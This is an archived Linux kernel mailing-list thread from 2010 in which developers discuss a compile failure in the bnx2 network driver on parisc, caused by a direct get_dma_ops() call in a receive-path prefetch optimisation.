Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: bnx2 fails to compile on parisc because of missing get_dma_ops()
Date: Wed, 16 Jun 2010 20:13:49 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <1276737229.2847.853.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276737243 3970 80.91.229.12 (17 Jun 2010 01:14:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 01:14:03 +0000 (UTC)
Cc: Michael Chan <mchan@broadcom.com>
To: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 03:14:01 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OP3g9-0002CY-2Z
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 03:14:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755708Ab0FQBOA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jun 2010 21:14:00 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:38349 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755582Ab0FQBN7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jun 2010 21:13:59 -0400
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 5BA6B86A2E;
	Thu, 17 Jun 2010 03:13:58 +0200 (CEST)
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2927 gmane.linux.network:164163 gmane.linux.kernel:999767
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2927>

I'm not quite sure whose fault this one is.

However, this code in bnx2.c:

		if (!get_dma_ops(&pdev->dev)->sync_single_for_cpu) {
			next_rx_buf =
				&rxr->rx_buf_ring[
					RX_RING_IDX(NEXT_RX_BD(sw_cons))];
			prefetch(next_rx_buf->desc);
		}

Looks remarkably fragile: what exactly is it trying to do?

The commit that causes the problem:

commit a33fa66bcf365ffe5b79d1ae1d3582cc261ae56e
Author: Michael Chan <mchan@broadcom.com>
Date:   Thu May 6 08:58:13 2010 +0000

    bnx2: Add prefetches to rx path.

Looks fairly innocuous by the description.

Should parisc have a get_dma_ops()?  We don't need one because our dma
ops are per platform not per bus.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Wed, 16 Jun 2010 18:16:32 -0700 (PDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <20100616.181632.27807395.davem@davemloft.net>
References: <1276737229.2847.853.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276737386 4334 80.91.229.12 (17 Jun 2010 01:16:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 01:16:26 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, fujita.tomonori@lab.ntt.co.jp,
	mchan@broadcom.com
To: JBottomley@Novell.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 03:16:23 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OP3iQ-0002qM-Ed
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 03:16:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756256Ab0FQBQV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jun 2010 21:16:21 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:53505
	"EHLO sunset.davemloft.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754847Ab0FQBQU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jun 2010 21:16:20 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id CE99324C090;
	Wed, 16 Jun 2010 18:16:32 -0700 (PDT)
In-Reply-To: <1276737229.2847.853.camel@mulgrave.site>
X-Mailer: Mew version 6.3 on Emacs 23.1 / Mule 6.0 (HANACHIRUSATO)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2928 gmane.linux.network:164165 gmane.linux.kernel:999768
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2928>

From: James Bottomley <JBottomley@Novell.com>
Date: Wed, 16 Jun 2010 20:13:49 -0500

> However, this code in bnx2.c:
> 
> 		if (!get_dma_ops(&pdev->dev)->sync_single_for_cpu) {
> 			next_rx_buf =
> 				&rxr->rx_buf_ring[
> 					RX_RING_IDX(NEXT_RX_BD(sw_cons))];
> 			prefetch(next_rx_buf->desc);
> 		}
> 
> Looks remarkably fragile: what exactly is it trying to do?
> 
> The commit that causes the problem:
> 
> commit a33fa66bcf365ffe5b79d1ae1d3582cc261ae56e
> Author: Michael Chan <mchan@broadcom.com>
> Date:   Thu May 6 08:58:13 2010 +0000
> 
>     bnx2: Add prefetches to rx path.
> 
> Looks fairly innocuous by the description.
> 
> Should parisc have a get_dma_ops()?  We don't need one because our dma
> ops are per platform not per bus.

I think asking for get_dma_ops() directly in a driver is dodgy at
best, especially one that is meant to compile on any PCI supporting
system.  At least right now.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing get_dma_ops()
Date: Wed, 16 Jun 2010 21:17:15 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <AANLkTilSfOwwT87mgDcWBogL4gPnM7VBTOALKpZv_upN@mail.gmail.com>
References: <1276737229.2847.853.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1276737442 4461 80.91.229.12 (17 Jun 2010 01:17:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 01:17:22 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	Michael Chan <mchan@broadcom.com>
To: James Bottomley <JBottomley@novell.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 17 03:17:20 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OP3jL-00033n-RV
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Jun 2010 03:17:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756640Ab0FQBRS convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jun 2010 21:17:18 -0400
Original-Received: from mail-iw0-f174.google.com ([209.85.214.174]:35431 "EHLO
	mail-iw0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756268Ab0FQBRR convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jun 2010 21:17:17 -0400
Original-Received: by iwn9 with SMTP id 9so6289413iwn.19
        for <multiple recipients>; Wed, 16 Jun 2010 18:17:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=ltEJbVr2rb5hczVWXp1DOi4nCS/MOqA8VOF5KEpGsQs=;
        b=Zsb1jQlSAyeg34/8/TnRfOanSCXOMs2TkTcyBkhETBhilcDPH9ohZXB4C3ksHqDWn2
         D1GJy2hPLba4xLxgg4ay6j8f3NPslbbA37rBbO4QH9ukB8XgQbsz3RcPdkpk6I/Hapjd
         jc6zOODHMc/TPJEUHVvdaQCeZbBeNFyBsgbvg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=qfgH4/9QKV9lP86xryM25HZFALHqMSmG8MyeFQ6tNGsGRYVmyQgtz1SH0oTC8ivjRo
         ElcNHx1E+4YEragUP4v4HHwio+rCuUN7CvSc8A9+JuBx87V47vgi0x5WLs+1sGGrKReh
         Ansu9bNIeyKjMkUpsfx2TWBJamT/YBRxjKkDo=
Original-Received: by 10.231.191.75 with SMTP id dl11mr10102408ibb.110.1276737435940; 
	Wed, 16 Jun 2010 18:17:15 -0700 (PDT)
Original-Received: by 10.231.212.223 with HTTP; Wed, 16 Jun 2010 18:17:15 -0700 (PDT)
In-Reply-To: <1276737229.2847.853.camel@mulgrave.site>
X-Google-Sender-Auth: C0EfAic8RjDTBL7BtHwAYIZBN5o
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2929 gmane.linux.network:164167 gmane.linux.kernel:999769
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2929>

On Wed, Jun 16, 2010 at 9:13 PM, James Bottomley wrote:
> I'm not quite sure whose fault this one is.
>
> However, this code in bnx2.c:
>
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0if (!get_dma_ops(&pdev->dev)->sync_sin=
gle_for_cpu) {
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0next_rx_buf =3D
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0&rxr->=
rx_buf_ring[
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0RX_RING_IDX(NEXT_RX_BD(sw_cons))];
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0prefetch(next_rx_buf->=
desc);
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0}
>
> Looks remarkably fragile: what exactly is it trying to do?
>
> The commit that causes the problem:
>
> commit a33fa66bcf365ffe5b79d1ae1d3582cc261ae56e
> Author: Michael Chan <mchan@broadcom.com>
> Date: =A0 Thu May 6 08:58:13 2010 +0000
>
> =A0 =A0bnx2: Add prefetches to rx path.
>
> Looks fairly innocuous by the description.
>
> Should parisc have a get_dma_ops()? =A0We don't need one because our =
dma
> ops are per platform not per bus.

looks like it'll be broken on more than just parisc:
$ grep get_dma_ops arch/*/include/asm/ -rl | cut -d/ -f 2
alpha
ia64
microblaze
powerpc
sh
sparc
x86
-mike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Chan" <mchan@broadcom.com>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Wed, 16 Jun 2010 20:53:57 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <C27F8246C663564A84BB7AB3439772421B79CBCA1C@IRVEXCHCCR01.corp.ad.broadcom.com>
References: <AANLkTilSfOwwT87mgDcWBogL4gPnM7VBTOALKpZv_upN@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1276746863 25778 80.91.229.12 (17 Jun 2010 03:54:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 03:54:23 +0000 (UTC)
Cc: "netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"FUJITA Tomonori" <fujita.tomonori@lab.ntt.co.jp>
To: "'Mike Frysinger'" <vapier@gentoo.org>,
	"James Bottomley" <JBottomley@novell.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 17 05:54:20 2010
connect(): No such file or directory
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OP6BI-00015I-4t
	for glk-linux-kernel-3@lo.gmane.org; Thu, 17 Jun 2010 05:54:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759427Ab0FQDyL (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Jun 2010 23:54:11 -0400
Original-Received: from mms2.broadcom.com ([216.31.210.18]:1801 "EHLO mms2.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756921Ab0FQDyJ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Jun 2010 23:54:09 -0400
Original-Received: from [10.9.200.131] by mms2.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Wed, 16 Jun 2010 20:53:58 -0700
X-Server-Uuid: D3C04415-6FA8-4F2C-93C1-920E106A2031
Original-Received: from IRVEXCHCCR01.corp.ad.broadcom.com ([10.252.49.30]) by
 IRVEXCHHUB01.corp.ad.broadcom.com ([10.9.200.131]) with mapi; Wed, 16
 Jun 2010 20:53:58 -0700
Thread-Topic: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Thread-Index: AcsNutnbrlqUleY2R8uKlXslb6PXbgAFEw/A
In-Reply-To: <AANLkTilSfOwwT87mgDcWBogL4gPnM7VBTOALKpZv_upN@mail.gmail.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
X-WSS-ID: 600743DC100186731-01-01
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:999812 gmane.linux.network:164172 gmane.linux.ports.parisc:2930
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2930>

Mike Frysinger wrote:

> On Wed, Jun 16, 2010 at 9:13 PM, James Bottomley wrote:
> > I'm not quite sure whose fault this one is.
> >
> > However, this code in bnx2.c:
> >
> >                if (!get_dma_ops(&pdev->dev)->sync_single_for_cpu) {
> >                        next_rx_buf =
> >                                &rxr->rx_buf_ring[
> >                                        RX_RING_IDX(NEXT_RX_BD(sw_cons))];
> >                        prefetch(next_rx_buf->desc);
> >                }
> >
> > Looks remarkably fragile: what exactly is it trying to do?

If sync_single is not defined, that means the CPU has a consistent
view of next_rx_buf and so it makes sense to prefetch it.

> >
> > The commit that causes the problem:
> >
> > commit a33fa66bcf365ffe5b79d1ae1d3582cc261ae56e
> > Author: Michael Chan <mchan@broadcom.com>
> > Date:   Thu May 6 08:58:13 2010 +0000
> >
> >    bnx2: Add prefetches to rx path.
> >
> > Looks fairly innocuous by the description.
> >
> > Should parisc have a get_dma_ops()?  We don't need one
> because our dma
> > ops are per platform not per bus.
>
> looks like it'll be broken on more than just parisc:
> $ grep get_dma_ops arch/*/include/asm/ -rl | cut -d/ -f 2
> alpha
> ia64
> microblaze
> powerpc
> sh
> sparc
> x86

Most of these archs use the dma functions in:

<asm-genric/dma-mapping-common.h>

so it's not a problem.

I think I'll send in a patch to remove that part of the code
from bnx2.c for now.

Thanks.


From - Thu Nov 08 21:06:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing get_dma_ops()
Date: Thu, 17 Jun 2010 00:00:01 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <AANLkTimj3HBEMYfEBHlm9YNY53aipjFuXOsX2aMxwDoK@mail.gmail.com>
References: <AANLkTilSfOwwT87mgDcWBogL4gPnM7VBTOALKpZv_upN@mail.gmail.com>
	<C27F8246C663564A84BB7AB3439772421B79CBCA1C@IRVEXCHCCR01.corp.ad.broadcom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1276747241 26705 80.91.229.12 (17 Jun 2010 04:00:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 04:00:41 +0000 (UTC)
Cc: James Bottomley <JBottomley@novell.com>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
To: Michael Chan <mchan@broadcom.com>
Original-X-From: netdev-owner@vger.kernel.org Thu Jun 17 06:00:39 2010
connect(): No such file or directory
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1OP6HO-0002Vx-6q
	for linux-netdev-2@lo.gmane.org; Thu, 17 Jun 2010 06:00:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750783Ab0FQEAF convert rfc822-to-quoted-printable (ORCPT
	<rfc822;linux-netdev-2@m.gmane.org>); Thu, 17 Jun 2010 00:00:05 -0400
Original-Received: from mail-iw0-f174.google.com ([209.85.214.174]:52314 "EHLO
	mail-iw0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756869Ab0FQEAE convert rfc822-to-8bit (ORCPT
	<rfc822;netdev@vger.kernel.org>); Thu, 17 Jun 2010 00:00:04 -0400
Original-Received: by iwn9 with SMTP id 9so6442153iwn.19
        for <multiple recipients>; Wed, 16 Jun 2010 21:00:01 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=AR0G1ADikQyBpHJ7NVUCsfQlrKlyswxhm/C2vNwQIOc=;
        b=H3t0eIInLgNB59H144WfPldXTn1TCTfb/kyLKU5nEkAldkXYk6shNl4jrv9UcZghqD
         YaQrGkP2wQSOJuY1Rljr+lc83tfsx7WL0jjok3+BJyE8duxvDXN5RTmcOckaNMnLFkxv
         yFghjb8wEgsesbwRjL5xMzyNzfVXEaKILMZxo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=ajwkpoSAv1IL554XAazReJThg18hI0OebPCIIOmTkwmF9Mkaha8gplc0Mgq0kCQE9k
         lldaBPClOdtCF+uyReeMsn44wjL/UxBBuHyFgQZfaX1OCKHNmDyKcHTF/qBfl2auuRJv
         BUzmUP68me9kpc+Ad+tXHAdAYiuPxXIyF27Kg=
Original-Received: by 10.231.156.66 with SMTP id v2mr10891337ibw.107.1276747201792; 
	Wed, 16 Jun 2010 21:00:01 -0700 (PDT)
Original-Received: by 10.231.212.223 with HTTP; Wed, 16 Jun 2010 21:00:01 -0700 (PDT)
In-Reply-To: <C27F8246C663564A84BB7AB3439772421B79CBCA1C@IRVEXCHCCR01.corp.ad.broadcom.com>
X-Google-Sender-Auth: CQfs1jriiPuv9tR0hGIVAROgw3E
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:164173 gmane.linux.ports.parisc:2931 gmane.linux.kernel:999813
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2931>

On Wed, Jun 16, 2010 at 11:53 PM, Michael Chan wrote:
> Mike Frysinger wrote:
>> > The commit that causes the problem:
>> >
>> > commit a33fa66bcf365ffe5b79d1ae1d3582cc261ae56e
>> > Author: Michael Chan <mchan@broadcom.com>
>> > Date: =A0 Thu May 6 08:58:13 2010 +0000
>> >
>> > =A0 =A0bnx2: Add prefetches to rx path.
>> >
>> > Looks fairly innocuous by the description.
>> >
>> > Should parisc have a get_dma_ops()? =A0We don't need one
>> because our dma
>> > ops are per platform not per bus.
>>
>> looks like it'll be broken on more than just parisc:
>> $ grep get_dma_ops arch/*/include/asm/ -rl | cut -d/ -f 2
>> alpha
>> ia64
>> microblaze
>> powerpc
>> sh
>> sparc
>> x86
>
> Most of these archs use the dma functions in:
>
> <asm-genric/dma-mapping-common.h>
>
> so it's not a problem.

the grep is showing only the arches that define get_dma_ops (and so
the new code works).  you'd have to invert the list to see the ones
which do not define get_dma_ops(), and the inverted list is larger.
that was merely my point.
-mike
--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal@linux-sh.org>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: bnx2 fails to compile on parisc because of missing get_dma_ops()
Date: Thu, 17 Jun 2010 13:03:57 +0900
Lines: 28
Approved: news@gmane.org
Message-ID: <20100617040356.GA8105@linux-sh.org>
References: <AANLkTilSfOwwT87mgDcWBogL4gPnM7VBTOALKpZv_upN@mail.gmail.com> <C27F8246C663564A84BB7AB3439772421B79CBCA1C@IRVEXCHCCR01.corp.ad.broadcom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1276747467 27167 80.91.229.12 (17 Jun 2010 04:04:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Jun 2010 04:04:27 +0000 (UTC)
Cc: 'Mike Frysinger' <vapier@gentoo.org>,
	James Bottomley <JBottomley@novell.com>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
To: Michael Chan <mchan@broadcom.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 17 06:04:25 2010
connect(): No such file or directory
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OP6L2-0003SD-HE
	for glk-linux-kernel-3@lo.gmane.org; Thu, 17 Jun 2010 06:04:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750987Ab0FQEEQ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 17 Jun 2010 00:04:16 -0400
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:48344 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750704Ab0FQEEO (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 17 Jun 2010 00:04:14 -0400
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id D04EB63710;
	Thu, 17 Jun 2010 04:03:59 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id cH7jMxq3Ejou; Thu, 17 Jun 2010 13:03:58 +0900 (JST)
Original-Received: by master.linux-sh.org (Postfix, from userid 500)
	id C50C263719; Thu, 17 Jun 2010 13:03:57 +0900 (JST)
Content-Disposition: inline
In-Reply-To: <C27F8246C663564A84BB7AB3439772421B79CBCA1C@IRVEXCHCCR01.corp.ad.broadcom.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:999814 gmane.linux.network:164174 gmane.linux.ports.parisc:2932
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2932>

On Wed, Jun 16, 2010 at 08:53:57PM -0700, Michael Chan wrote:
> Mike Frysinger wrote:
> 
> > On Wed, Jun 16, 2010 at 9:13 PM, James Bottomley wrote:
> > > I'm not quite sure whose fault this one is.
> > >
> > > However, this code in bnx2.c:
> > >
> > >                if (!get_dma_ops(&pdev->dev)->sync_single_for_cpu) {
> > >                        next_rx_buf =
> > >                                &rxr->rx_buf_ring[
> > >                                        RX_RING_IDX(NEXT_RX_BD(sw_cons))];
> > >                        prefetch(next_rx_buf->desc);
> > >                }
> > >
> > > Looks remarkably fragile: what exactly is it trying to do?
> 
> If sync_single is not defined, that means the CPU has a consistent
> view of next_rx_buf and so it makes sense to prefetch it.
> 
Except that's not a valid assertion, there are platforms that implement
it for sanity checks yet still have consistent DMA. You are making
inherently non-portable assumptions for a PCI driver, which is a good
example of why drivers should never be side-stepping the API in the first
place. If you want to have a micro-optimization for the consistent DMA
case, you can check dma_is_consistent(), which is part of the API and
will be variable on certain platform configurations (ie, some may be
consistent with PCI but not on other busses, etc.) 

From - Thu Nov 08 21:06:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Chan" <mchan@broadcom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: Re: bnx2 fails to compile on parisc because of missing
 get_dma_ops()
Date: Wed, 16 Jun 2010 21:10:57 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <C27F8246C663564A84BB7AB3439772421B79CBCA1D@IRVEXCHCCR01.corp.ad.broadcom.com>
